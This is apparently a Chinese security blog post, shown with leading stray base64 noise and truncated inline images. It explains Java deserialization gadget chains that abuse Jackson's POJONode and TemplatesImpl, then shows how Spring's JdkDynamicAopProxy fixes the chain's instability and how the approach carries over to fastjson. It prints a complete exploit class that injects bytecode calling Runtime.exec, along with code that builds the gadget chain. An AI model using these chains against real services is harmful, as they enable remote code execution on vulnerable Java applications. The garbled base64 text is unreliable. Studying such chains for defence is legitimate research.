fLjr5D1hyrdPWRlRKGzfRR98senn71/yN5/6aVTGnd0LTOtED6JPXKpjydLjrt3LKqhsauu6FZx8adCkt7/ZMH+sp+Og8Su330GjqYLf5g8a9Vk8kUmb/M24QdN+Tsde1if++tr04a6OPuMXfXoqj+iD1jYkbscSHTxGL/r0fAExdrzx7p63F4f6Odp6jFv6Y1wdmhL3qf8LfzZRrrwdOGjpoezITS+u3peC5dRRpq5N6l7X1ekrRFUR/e3yYB9HR/9ZH0VUdw5atQ1JxL54jln8+YUCLDrHypm8buP/JnqaD/nynhFVoFlwpvD6oY0z+ayhtIjfRT8l3Tqxa9euTU87Vg0JCESj3OaoHTvKwz7Y8uoIppHtU698u2+tmcfbvx39bdfX04ykI5YEGYslFI6FLZeJjZIQN4tpRlhXt6Yp97qM58nAtgJjNWH1Z1/8uG0nWvSuXdtny3fXT/4Bf71r608/HU9qUKTunGeZ8d3TCzffMZ8YkHGF/+Oxr7/44ZedG+c5+j3/3a5dh2+UP9g2g9/hDERx7e/9VaGhE0woSPLBX+8v/n7H6yFeniOWfbv/728nWTQRmWpPv/9+1MTP3w8mZtsoL60b9NwBAeXGp2hz2J6t78D5/x850uHWp/6DXjstNPxAUCmsCaHTG/48FtX1jgMAAACgN8orqnNyCtxdnYhZ9AU6iyYSs70F8TwAAIC+QXTbLp8zZtKShYu+K6059v6ad/amYP3za9YsmT501Ip92WgQyuTZ8IzRcFEcvd6Dbe0Q8uGNwR+9aGnrP8Ky8KdnRj69IbxYRZaHhrCyhoLrPx8pDln3w1fzmOfXPv/rPcRz+jR+8h/nErGAXnvv/IEE02nTh1KQ4t+XTfm/7CH/+/X3r+czjy+d9lF0MwUpQRM/zxqydvuu/5sm27do0U+pWoro0ntzX71Cnb7xt70fDc35YOGXMWrK4KU/r5/MpoxY9fPud4LN0JWWitDQX2eZujaJ2FhJZU56q4I64tqBztXpLkSb++vSWT/XPvXpb79vGJu5c182UQAJKd2zIvSrTI/nN/3y0RTZoYWLN99T4OVc23GqdvrHv22a7UQ3opOZKdrMnzfnj5njxMbicopKrWKyWVg4LmX6v/vzc0PYw1/euNS6olIkETf5DvFhUxC525pzf3/+3EQP47JLX/9v3W93JJEfhPjO/uomFuCKm4VWlhathaPRrYmlrSkDL5vSUF9Dz/7rA6z/fc1z04eM//imCEs2mfDpR06/rvz15JFzVk+P57VcI2ghaRB07IooLchSu3i5m6MFZt7PH+lU9n+TPK3ZFk7z9jQ99ewU/J5C4aVP3z4/dNNPyxzbWgiJPmLV7pYj+H8z7PQdOPywYpRNpQUCtDH25kBw3Ad5U7ILS4g5AAAA4GHU1jVs3/Xn4kWzbWysiBT0BTqLJqKLiJTeCY9ORAAAAIBHp5UIRYrLrzNfvywTNco0RTuCB3/x4OaHds8eE5M5EHn1/Yu/bXhmuA3dIuStTR+tXvHK66+//vQwE5dJL74619/Cb83Fag2CxK23okz8tRCpOziHQpv3RzX2Ttml1aaUuQdqEKR89zSa64c31Yj2zmc+lAk/F6JL73/tS3H8+LYWy4nU/zGPRltyVPTgm8GUUZuzicSq+GMHL6aJ0K2UVhRUiKW1Bam3dy61oQT9lIMtjlxrRnnmcBP6Clup2foYPWXq3iRsg7sY/mMWmknX6nQWkvzFIIrLp4nE6lK/GkqhPH1Q0Lox2L4Mfv9yTi4m5pNRFO/P7uDl0J891oi/BcneMt
<p blockindex=29>但是限制就是需要我们存在依赖</p>
<p blockindex=30>网上找了一下,发现以前见过,网上公开的利用就是在 jackson 原生反序列化的时候</p>
<p blockindex=31>参考<a href="https://xz.aliyun.com/t/12846?time%5C_%5C_1311=GqGxuDcDRGexlxx2DU27oDkmD8SGCmzmeD">https://xz.aliyun.com/t/12846?time\_\_1311=GqGxuDcDRGexlxx2DU27oDkmD8SGCmzmeD</a><br>
是为了解决 jackson 原生不稳定的痛点</p>
<p blockindex=32>正常的调用链</p>
<pre blockindex=33><code class="hljs language-php">package org.jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
<span class=hljs-keyword>public</span> <span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>EXP</span> </span>{
<span class=hljs-keyword>public</span> <span class=hljs-built_in>static</span> <span class=hljs-keyword>void</span> main(<span class=hljs-keyword>String</span>[] args) throws <span class=hljs-built_in>Exception</span> {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass(<span class=hljs-string>"a"</span>);
CtClass superClass = pool.get(AbstractTranslet.<span class=hljs-keyword>class</span>.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = <span class=hljs-keyword>new</span> CtConstructor(<span class=hljs-keyword>new</span> CtClass[]{},ctClass);
constructor.setBody(<span class=hljs-string>"Runtime.getRuntime().exec(\"calc\");"</span>);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = <span class=hljs-keyword>new</span> TemplatesImpl();
setFieldValue(templatesImpl, <span class=hljs-string>"_bytecodes"</span>, <span class=hljs-keyword>new</span> byte[][]{bytes});
setFieldValue(templatesImpl, <span class=hljs-string>"_name"</span>, <span class=hljs-string>"xxx"</span>);
setFieldValue(templatesImpl, <span class=hljs-string>"_tfactory"</span>, <span class=hljs-literal>null</span>);
POJONode jsonNodes = <span class=hljs-keyword>new</span> POJONode(templatesImpl);
BadAttributeValueExpException exp = <span class=hljs-keyword>new</span> BadAttributeValueExpException(<span class=hljs-literal>null</span>);
Field val = <span class=hljs-keyword>Class</span>.forName(<span class=hljs-string>"javax.management.BadAttributeValueExpException"</span>).getDeclaredField(<span class=hljs-string>"val"</span>);
val.setAccessible(<span class=hljs-literal>true</span>);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = <span class=hljs-keyword>new</span> ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = <span class=hljs-keyword>new</span> ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=<span class=hljs-keyword>new</span> FileOutputStream(<span class=hljs-string>"1.ser"</span>);
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = <span class=hljs-keyword>new</span> FileInputStream(<span class=hljs-string>"1.ser"</span>);
System.out.println(serial(exp));
deserial(serial(exp));
}
<span class=hljs-keyword>public</span> <span class=hljs-built_in>static</span> <span class=hljs-keyword>String</span> serial(<span class=hljs-keyword>Object</span> o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = <span class=hljs-keyword>new</span> ByteArrayOutputStream();
ObjectOutputStream oos = <span class=hljs-keyword>new</span> ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
<span class=hljs-keyword>String</span> base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
<span class=hljs-keyword>return</span> base64String;
}
<span class=hljs-keyword>public</span> <span class=hljs-built_in>static</span> <span class=hljs-keyword>void</span> deserial(<span class=hljs-keyword>String</span> data) throws <span class=hljs-built_in>Exception</span> {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = <span class=hljs-keyword>new</span> ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = <span class=hljs-keyword>new</span> ObjectInputStream(bais);
ois.readObject();
ois.close();
}
<span class=hljs-keyword>private</span> <span class=hljs-built_in>static</span> <span class=hljs-keyword>void</span> setFieldValue(<span class=hljs-keyword>Object</span> obj, <span class=hljs-keyword>String</span> field, <span class=hljs-keyword>Object</span> arg) throws <span class=hljs-built_in>Exception</span>{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(<span class=hljs-literal>true</span>);
f.set(obj, arg);
}
}
</code></pre>
<p blockindex=34>但是会爆错</p>
<pre blockindex=35><code class="hljs language-php">Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:<span class=hljs-number>450</span>)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:<span class=hljs-number>62</span>)
</code></pre>
<p blockindex=36>爆指针的问题</p>
<p blockindex=37>是因为<br>
在调用 getter 方法的时候,是根据 props 的顺序来决定的</p>
<pre blockindex=38><code class="hljs language-php"><span class=hljs-keyword>protected</span> <span class=hljs-keyword>void</span> serializeFields(<span class=hljs-keyword>Object</span> bean, JsonGenerator gen, SerializerProvider provider)
throws IOException
{
<span class=hljs-keyword>final</span> BeanPropertyWriter[] props;
<span class=hljs-keyword>if</span> (_filteredProps != <span class=hljs-literal>null</span> &amp;amp;&amp;amp; provider.getActiveView() != <span class=hljs-literal>null</span>) {
props = _filteredProps;
} <span class=hljs-keyword>else</span> {
props = _props;
}
<span class=hljs-keyword>int</span> i = <span class=hljs-number>0</span>;
<span class=hljs-keyword>try</span> {
<span class=hljs-keyword>for</span> (<span class=hljs-keyword>final</span> <span class=hljs-keyword>int</span> len = props.length; i &amp;lt; len; ++i) {
BeanPropertyWriter prop = props[i];
<span class=hljs-keyword>if</span> (prop != <span class=hljs-literal>null</span>) { <span class=hljs-comment>// can have nulls in filtered list</span>
prop.serializeAsField(bean, gen, provider);
}
}
<span class=hljs-keyword>if</span> (_anyGetterWriter != <span class=hljs-literal>null</span>) {
_anyGetterWriter.getAndSerialize(bean, gen, provider);
}
} <span class=hljs-keyword>catch</span> (<span class=hljs-built_in>Exception</span> e) {
<span class=hljs-keyword>String</span> name = (i == props.length) ? <span class=hljs-string>"[anySetter]"</span> : props[i].getName();
wrapAndThrow(provider, e, bean, name);
} <span class=hljs-keyword>catch</span> (StackOverflowError e) {
...
}
}
</code></pre>
<p blockindex=39>顺序不固定</p>
<pre blockindex=40><code class="hljs language-php">transletindex
stylesheetDOM
outputProperties
</code></pre>
<p blockindex=41><code>stylesheetDOM</code><code>outputProperties</code> 之前,所以 <code>getStylesheetDOM</code> 会先于 <code>getOutputProperties</code> 触发。当 <code>getStylesheetDOM</code> 方法先被触发时,由于 <code>_sdom</code> 成员为空,会导致空指针报错,反序列化攻击失败。</p>
<p blockindex=42>所以我们利用 JdkDynamicAopProxy 类来代理就是为了解决不稳定痛点</p>
<p blockindex=43>我们看到它的 invoke 方法</p>
<pre blockindex=44><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-keyword>Object</span> invoke(<span class=hljs-keyword>Object</span> proxy, Method method, <span class=hljs-keyword>Object</span>[] args) throws <span class=hljs-built_in>Throwable</span> {
<span class=hljs-keyword>Object</span> oldProxy = <span class=hljs-literal>null</span>;
<span class=hljs-keyword>boolean</span> setProxyContext = <span class=hljs-literal>false</span>;
TargetSource targetSource = this.advised.targetSource;
<span class=hljs-keyword>Object</span> target = <span class=hljs-literal>null</span>;
<span class=hljs-keyword>Object</span> retVal;
<span class=hljs-keyword>try</span> {
<span class=hljs-keyword>if</span> (!this.equalsDefined &amp;amp;&amp;amp; AopUtils.isEqualsMethod(method)) {
<span class=hljs-keyword>Boolean</span> var18 = this.equals(args[<span class=hljs-number>0</span>]);
<span class=hljs-keyword>return</span> var18;
}
<span class=hljs-keyword>if</span> (!this.hashCodeDefined &amp;amp;&amp;amp; AopUtils.isHashCodeMethod(method)) {
<span class=hljs-keyword>Integer</span> var17 = this.hashCode();
<span class=hljs-keyword>return</span> var17;
}
<span class=hljs-keyword>if</span> (method.getDeclaringClass() == DecoratingProxy.<span class=hljs-keyword>class</span>) {
<span class=hljs-class><span class=hljs-keyword>Class</span> <span class=hljs-title>var16</span> = <span class=hljs-title>AopProxyUtils</span>.<span class=hljs-title>ultimateTargetClass</span>(<span class=hljs-title>this</span>.<span class=hljs-title>advised</span>);
<span class=hljs-title>return</span> <span class=hljs-title>var16</span>;
}
<span class=hljs-title>if</span> (<span class=hljs-title>this</span>.<span class=hljs-title>advised</span>.<span class=hljs-title>opaque</span> || !<span class=hljs-title>method</span>.<span class=hljs-title>getDeclaringClass</span>().<span class=hljs-title>isInterface</span>() || !<span class=hljs-title>method</span>.<span class=hljs-title>getDeclaringClass</span>().<span class=hljs-title>isAssignableFrom</span>(<span class=hljs-title>Advised</span>.<span class=hljs-title>class</span>)) </span>{
<span class=hljs-keyword>if</span> (this.advised.exposeProxy) {
oldProxy = AopContext.setCurrentProxy(proxy);
setProxyContext = <span class=hljs-literal>true</span>;
}
target = targetSource.getTarget();
<span class=hljs-class><span class=hljs-keyword>Class</span>&amp;<span class=hljs-title>lt</span>;?&amp;<span class=hljs-title>gt</span>; <span class=hljs-title>targetClass</span> = <span class=hljs-title>target</span> != <span class=hljs-title>null</span> ? <span class=hljs-title>target</span>.<span class=hljs-title>getClass</span>() : <span class=hljs-title>null</span>;
<span class=hljs-title>List</span> <span class=hljs-title>chain</span> = <span class=hljs-title>this</span>.<span class=hljs-title>advised</span>.<span class=hljs-title>getInterceptorsAndDynamicInterceptionAdvice</span>(<span class=hljs-title>method</span>, <span class=hljs-title>targetClass</span>);
<span class=hljs-title>if</span> (<span class=hljs-title>chain</span>.<span class=hljs-title>isEmpty</span>()) </span>{
<span class=hljs-keyword>Object</span>[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
} <span class=hljs-keyword>else</span> {
MethodInvocation invocation = <span class=hljs-keyword>new</span> ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
}
<span class=hljs-class><span class=hljs-keyword>Class</span>&amp;<span class=hljs-title>lt</span>;?&amp;<span class=hljs-title>gt</span>; <span class=hljs-title>returnType</span> = <span class=hljs-title>method</span>.<span class=hljs-title>getReturnType</span>();
<span class=hljs-title>if</span> (<span class=hljs-title>retVal</span> != <span class=hljs-title>null</span> &amp;<span class=hljs-title>amp</span>;&amp;<span class=hljs-title>amp</span>; <span class=hljs-title>retVal</span> == <span class=hljs-title>target</span> &amp;<span class=hljs-title>amp</span>;&amp;<span class=hljs-title>amp</span>; <span class=hljs-title>returnType</span> != <span class=hljs-title>Object</span>.<span class=hljs-title>class</span> &amp;<span class=hljs-title>amp</span>;&amp;<span class=hljs-title>amp</span>; <span class=hljs-title>returnType</span>.<span class=hljs-title>isInstance</span>(<span class=hljs-title>proxy</span>) &amp;<span class=hljs-title>amp</span>;&amp;<span class=hljs-title>amp</span>; !<span class=hljs-title>RawTargetAccess</span>.<span class=hljs-title>class</span>.<span class=hljs-title>isAssignableFrom</span>(<span class=hljs-title>method</span>.<span class=hljs-title>getDeclaringClass</span>())) </span>{
retVal = proxy;
} <span class=hljs-keyword>else</span> <span class=hljs-keyword>if</span> (retVal == <span class=hljs-literal>null</span> &amp;amp;&amp;amp; returnType != <span class=hljs-keyword>Void</span>.TYPE &amp;amp;&amp;amp; returnType.isPrimitive()) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> AopInvocationException(<span class=hljs-string>"Null return value from advice does not match primitive return type for: "</span> + method);
}
<span class=hljs-keyword>Object</span> var12 = retVal;
<span class=hljs-keyword>return</span> var12;
}
retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
} <span class=hljs-keyword>finally</span> {
<span class=hljs-keyword>if</span> (target != <span class=hljs-literal>null</span> &amp;amp;&amp;amp; !targetSource.isStatic()) {
targetSource.releaseTarget(target);
}
<span class=hljs-keyword>if</span> (setProxyContext) {
AopContext.setCurrentProxy(oldProxy);
}
}
<span class=hljs-keyword>return</span> retVal;
}
</code></pre>
<p blockindex=45>最后会返回一个 retVal 对象,而这个对象是</p>
<pre blockindex=46><code class="hljs language-php">AopUtils.invokeJoinpointUsingReflection(this.advised, method, args)
</code></pre>
<p blockindex=47>得来的,跟进 invokeJoinpointUsingReflection 方法<br>
<img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAr4AAACtCAIAAADZOOs+AAAgAElEQVR4nO3dZ1xTVxsA8OeGwE0ACSSA7L2VpYCCigxRBBQQt9ZqrdZWW61WrW/VancdrdrW1qp1W0ediHsrLtwispcMGUnYM+S+H8JICCOBICrP/+cHuTk5844nN+eeEBRFgUIJsq/+8+/9Mr2hM6a4axGdTdaO6tgjv51N0/aaMd2L07ix+P6erVfzTALmjndmNmyrzYnef+h2YV19SQRdjWNoZu822N1Mvanwwts7dkbziOa1oSgl/SGTJwzQpctZu5eXNh98VO0QNj/Iita4sbIwM6+M6NXbmMPsUKE1z49sOtO8yVKEyac3Ho9juE782N+ohZdlLLT8ycE/L7zs7f3hex6a7TeXSjmz6dhzuuuEuf7G7aXl3d31z40C8+GfRjiRzV4SFao3dNZUd1bjxqqnh38/n6E7eOa0gVqiLXWJkRtPJqj2nzzH16AxWcXTQ5vPZ/b2nvWeBws6oL0myFi3DmijQ2RvaV1i5KaTCeoe783y7g1Ql3Vp64FHVeYjZkU4qsndhJzLf+1/VN60h1AqZiNnjOmjLrnPKPqQEb27nVGoSzq18UR8sw5p2FebOkSRdatLiNwYmaDrM2uqGwtqnh/bdIbrOe3DQbogTIraeOKFUcDH45zV5C9UQS2VcUzLHu7/63KOgc+cyW7qjcn493Zvv55vNnzeWCeGHB2CeroOHdptKX1283EJqLsMcWkzIJAxWXv4/EIAGocjcWHj8fgATLYWU2ybssGgSR+Ypadl5xfyeEU8XkFBYXrs9cx8eH+aR8MVuI7H4wMoaxoaairXbyLoDHXN3pZOTpZa8vdUFZ9XAaDDYdPEtzK1Tcy0m/6Uu1AejyvdZCklfJ6QINjsllPJWmgRjwdA57BluwyX8Xm1ALpsGa6fFJ/HB1DTZDe/TDYWytbSEN/I43MBlNhaTTUp5vOEABwOWzwZn8sFoHPYEu+VQ3tNkLFu8murQ2RvqZK2NhsSCrm8GuitUvniXmwZqPcbaK8mnkbGJtTw+WVAMXQszdjKIOBnJudVlpVWAaiLv03hh4xIe6NQ0lKHFDXvEIXWrZjHE4Iyh6MBAMDnc4HQ5mgBABTxeHXAYLPVOlSoYloq65jy+DwAUpsjPoYUj8sDUNNiY9yA5KLg0KEm7fadlwK6qedAU+XOJ2tXbRG/DEBDk6UktrGEW1hLEHo6zT+Tq2gY2jgb2tT/VZ16bsex2ILM7AoPjqpoU2kxnyIIQ4+wCEeFHEd8HheA1s4lRd5Ca3jcUgA2W0upzWR8Pp+ilNla6i2+KmOh1Xx+BUFwNFkS0R0lFNQJgVCiKzUL+vg8PoCKlmbLZUoo4fPqCILd0ilTVKi2lqZ47lXcwnKC0OZwGqMwqojPB1Bja4k3oIrHqyAIXQ67o+FoO02QsW4d0EaHyNNSTW1tOhQU8oqAIh7FpNYqGQ1xN5Q4xmVtAp/PBSCM3UeF2NMBiu7/+8/V7Af3UvoFWamIvVHRh0x92W2PAsXn8aQ7hMuvlOwQRdZNNAYcjhYBAAIetxg0bNnKjXXR0WoYNzkLVUxLZRzTcj6vmiB6a0nsY0XcwtZ2PITa0JnTnRSK/+hmbDlo9hvct63Lh4zJZFBTWQkEQaeJt6IiLe0VRelamDV91irNfhEXl5BbLv5WUktLjaJAWbnpxFpTUwMASkoSfVJTXlxUVFxR24HK8bllAJrtXOTlLZTPK6SA0NZu+1CvKC6qBtDSbOXWhIyFVldVAQAhefe19PHhjRs2/PugqHmm5Xx+FYCWTCehhshGTfqlqqoqAKBJjGlNeloWRTGNjJrCwRJeC9daHq+QooiOf/5vrwky1q0D2ugQeVpK09bhAJTw+dVpDx5zQbXPAMdeHWpCLZ9XCqDBrv+grOk0wI4JlfF3nkoOu4IPGZH2RqHlDuE37xBF1q2ExxM03n7j87gUoS26oVfK49aCStO4yVeogloq45hWVlQAgDJdPJQsSUnKpyjlxrsmCMlIkaFDVWJ0TJ6QtB7krt/W1VLGZLIg1dWVKIqXmphfI9pQw316ITpDqGLmbCt2Us17cvb06dO3UppiB6oq+1FcPhBG5iZNH6JYWmyCojJin3BrGlLlPYjctXXbvpu5HZgQUsTnARCcdi6lchZayy0sBmCxtdq+W0MJhQBQU1PTcr1lLFRVU5NOUQVxD9PKhQAAIKzIuXcm+iVFN3ayl2pWXW0tAFB1wjZrBgAAFXxeFQBbq6WuUe2lQaOo/MS4vMYxfX7hamItTcfZyagpiOHzeRSlwmaLB581PG4ZgBab3dH9qr0myFg3+bXVIXK1VFNbRxmo4lcxD19UEL3dPMyb7ycyNqGIxwOC4DRWSMXco58uIXx1PyZdIJabgg8ZkfZGoajFDiksbdYhiqwbn88D4Ig+6NfxuEXQi8NWAQDg8XgA7KY7APIVqqCWyjimqmqqAPAqOaFINITCiuxbF+9zqVZ2vJqc+8d3/L7xt+2nXpS030Oop1HcFxbC/Pu3EqoIncGD7JidTyYbupmzIyv+cf7df/9JM9BVFZbm5xSUC9VtQgKdxD9sGVhYknGJaRd37U4y5qgqQU1ZftZLbqVSb88hdmLRNmnl5qyZ+vjl9d3bnvXW7kWr4r7KLxPQOU4h3hYqUmW3R8DnlYh9bmuNnIXyeVyq8XvW1qkaGWsT2dw7h3dl6fWqr4CGfUCAg4Y8hdLN3Nx0E+4UPDu6PU1XV4tew8vPL6sletmPCnbqJV1mbz11eJV/59CebB1V0QlLxzXY20J0s7Uu6/aJuzn1Z89a/isAKI27eCRDqm7KFq7OmgmP8u/u35qgq61OlRbmF1UKmSa+QQN0mk6DomutvmRcxudxKaBxWpngIYO2myBr3WQja4fI11JCW5sDwH36qLaOYTfQWbonZGuCkM/nU5Qap2nqBaHt6mEZcyo59u7zgWbODaOv2EOmXjujUMFrsUN40KxDFFi3cj6vBmhs0U2HIj5PCPWfCMp43BqJSQbyFaqglsq4W6pa9jG7mpGeeXXnttjebFLAzy/tbWtIhyQhmy19OJfH37iWzAOCqkrJ5FL2Gp2JjNE7SGGhQ3ncjQdcSrXP4H7abe1kMiaTlbKRz/hwxo07cRkFLzO4pBrHzHWA+wAXI8kvQlTtRkykNKPvJ77KSc6vppRV1VlsW08Xj352uhKHs4qR78Sx6jduxabl5eWUM9U1jRxdnfo52+h05LvS5p/bWiNXoQI+twiApc1uZ4oIoesxOqjq0p2k3Oy0Qkr0jYOlfVOsJmOhdF2vcRPVom89Sc4pzMlWYmro2Lj1dXPva6DWwuDRjQeN9qm6/DC9ID1dSAAARVft13jpKcpKSE3jNn33QRBERUF6eoHoL/G6KRv6TBireuN2bHpefnapijrHzGWg+wAX417in7D5PB6AsuQpr5bPKwHQbC9Ya0PbTZC1brKRtUPkbGkvHR0S8mpqQHugh1ULcy5la0IJn1cHILnzMmwGuGimxGTdvZ/d19ewPrVCD5l67YyCzB2iuLrxeTwALdFXj0Ielw/qZqLpBzw+D4DNFpvqLVehimqpjLulmkNQRMXlKw9SCvhcPtvQZligW921Lc9Al93CXHVSx9RQ/VUexbYZ4m6CcQNqjlDMw5mC7Ev//Puo3MBvxuR+bXzmkzEZak1+9Lbdt0usgz8Nte/U/FKEEEKooxQz16H46Y2nJdDLaYhTmwGBjMlQK2qyYuOLgGZqaYZxA0IIoe6ioLsOqAtVJF4984xL1Zbm5xRWKBkMnjR+YMeW2kEIIYQ6Dy9Bbz7ey7i0tCoVdRbbcoCvl4e9Dg4aQgih7oN3HRBCCCEkB4UuCYUQQgihdx2GDgghhBCSA4YOCCGEEJIDhg4IIYQQkgOGDgghhBCSA4YOCCGEEJIDhg4IIYQQkgOGDgghhBCSA4YOCCGEEJIDhg4IIYQQkgOGDgghhBCSA4YOCCGEEJIDhg4IIYQQkkOPDB0q0s9v+nT0IGczjqrJkhvdXRuEEELobULv7gq8fi/3vDdo
<p blockindex=48>可以看到可以反射调用方法</p>
<p blockindex=49><code>advised</code> 成员是一个 <code>org.springframework.aop.framework.AdvisedSupport</code> 类型的对象,它的 <code>targetSource</code> 成员中保存了 <code>JdkDynamicAopProxy</code> 类代理的接口的实现类。</p>
<p blockindex=50>思路就是</p>
<pre blockindex=51><code class="hljs language-php"><span class=hljs-number>1</span>. 构造一个 `JdkDynamicAopProxy` 类型的对象,将 `TemplatesImpl` 类型的对象设置为 `targetSource`
<span class=hljs-number>2</span>. 使用这个 `JdkDynamicAopProxy` 类型的对象构造一个代理类,代理 `javax.xml.transform.Templates` 接口
<span class=hljs-number>3</span>. JSON 序列化库只能从这个 `JdkDynamicAopProxy` 类型的对象上找到 `getOutputProperties` 方法
<span class=hljs-number>4</span>. 通过代理类的 `invoke` 机制,触发 `TemplatesImpl<span class=hljs-comment>#getOutputProperties` 方法,实现恶意类加载</span>
</code></pre>
<p blockindex=52>我们举一反三,使用在 fastjson 的原生反序列化中</p>
<p blockindex=53>替代 TemplatesImpl 并不容易,主要是因为要么所需的依赖库较为冷门,或者对版本的要求较为严格,要么是替代品的使用方式并不直观或不够灵活。</p>
<p blockindex=54>因此,换一种思路,我尝试在 JsonArray 和 TemplatesImpl 之间引入一个“中间层”,作为一个连接桥梁,这样既避免了直接替换 TemplatesImpl 的复杂性,又能够实现所需的功能</p>
<p blockindex=55>这里我们调试一下文章给出的代码</p>
<pre blockindex=56><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>Fastjson4_JdkDynamicAopProxy</span> </span>{
<span class=hljs-keyword>public</span> <span class=hljs-keyword>Object</span> getObject (<span class=hljs-keyword>String</span> cmd) throws <span class=hljs-built_in>Exception</span> {
<span class=hljs-keyword>Object</span> node1 = TemplatesImplNode.makeGadget(cmd);
<span class=hljs-keyword>Object</span> node2 = JdkDynamicAopProxyNode.makeGadget(node1);
Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.<span class=hljs-keyword>class</span>.getClassLoader(),
<span class=hljs-keyword>new</span> <span class=hljs-class><span class=hljs-keyword>Class</span>[]</span>{Templates.<span class=hljs-keyword>class</span>}, (InvocationHandler)node2);
<span class=hljs-keyword>Object</span> node3 = JsonArrayNode.makeGadget(<span class=hljs-number>2</span>,proxy);
<span class=hljs-keyword>Object</span> node4 = BadAttrValExeNode.makeGadget(node3);
<span class=hljs-keyword>Object</span>[] <span class=hljs-keyword>array</span> = <span class=hljs-keyword>new</span> <span class=hljs-keyword>Object</span>[]{node1,node4};
<span class=hljs-keyword>Object</span> node5 = HashMapNode.makeGadget(<span class=hljs-keyword>array</span>);
<span class=hljs-keyword>return</span> node5;
}
<span class=hljs-keyword>public</span> <span class=hljs-built_in>static</span> <span class=hljs-keyword>void</span> main(<span class=hljs-keyword>String</span>[] args) throws <span class=hljs-built_in>Exception</span> {
<span class=hljs-keyword>Object</span> <span class=hljs-keyword>object</span> = <span class=hljs-keyword>new</span> Fastjson4_JdkDynamicAopProxy().getObject(Util.getDefaultTestCmd());
Util.runGadgets(<span class=hljs-keyword>object</span>);
}
}
</code></pre>
<p blockindex=57>可以很直观的看到是代理了 Templates 接口</p>
<p blockindex=58>在代理类的构造中</p>
<pre blockindex=59><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>JdkDynamicAopProxyNode</span> </span>{
<span class=hljs-keyword>public</span> <span class=hljs-built_in>static</span> <span class=hljs-keyword>Object</span> makeGadget(<span class=hljs-keyword>Object</span> gadget) throws <span class=hljs-built_in>Exception</span> {
AdvisedSupport <span class=hljs-keyword>as</span> = <span class=hljs-keyword>new</span> AdvisedSupport();
<span class=hljs-keyword>as</span>.setTargetSource(<span class=hljs-keyword>new</span> SingletonTargetSource(gadget));
<span class=hljs-keyword>return</span> Reflections.newInstance(<span class=hljs-string>"org.springframework.aop.framework.JdkDynamicAopProxy"</span>,AdvisedSupport.<span class=hljs-keyword>class</span>,<span class=hljs-keyword>as</span>);
}
}
</code></pre>
<p blockindex=60>我们构造的恶意 TemplatesImpl 作为 TargetSource<br>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAkAAAACICAIAAACA3MORAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAEGXSURBVHhe7d0JfBNl3jjwmdxJk7Y5et8tvQulUM5CUW5B1BVFXXUVxfVA3dVdfd33j7u6yuq+ul6rriisyKWCIlcLFHrQlhZ6UHrf95UmTZukzX3M/0kybVOatOXq0uX3/eTz6TzP/OaZZybp/PJMJhlc2ivHAAAAgOkGr2gjyEkAAABg+qCQfwEAAIBpBRIYAACAaQkSGAAAgGkJEhgAAIBp6Rov4sA1fexLO5kNp3F5CyoS7sG6GWs0c7YQbIEtAAAAALipriWBMepOcM+8xpm9nhN/F807HNUYxfXq0pPqyymDqz7QR9xtCwMAAABunqtOYCh78TK3CZ/8gu4TSVYNMXTXynZvHbjz3emYwwiCMBsMGJ1BxckaAACYPJNBj1EZVPhYZgpRX3jlLXJyEihqmevPj4ie2jE2eyFUnog5Y4Hxp5d0cY8QdA5Zex360v7SpEvy9KCS5UkwqeVGgkW9iiUsCHNfU8bBvDrCO9yXBQlsEghdS3leGyvQ64bvrutpmVCUnkutZIaH8pwcREx6tZGg39hDzLV12H6pyffqhvRf15F/obC0rbnO7iGl+QbyaGTAdZpwh1ztVhCEpOHcZZ33tfRwbGcIk16r7JVJxEqtiUJjMWgj/SD0stbLOeWlpa1d/QTPy51jWR9hVkurcktLSlp75BQ3X1cWGU8QRmXzxfLigvrmLg1NKHBlKSt/Ss9tZvhF8K/htQuuyagXkWpQSU45wSrZxYlfZ8teusYL8u//2Lf7uZ63F8u+etwoa0WVaBYKQGHW8Oula8vv6zeThckR791YcElPFiavr7ZWN2v5ukR3eOFNkmmgv7vfQBZuqOtpmRs2c+FsofO3L5KCPcVtJrJwo1xbh+2Wmnyvbkj/aYKomPh5MfGJQmOLUZRgnY4W0M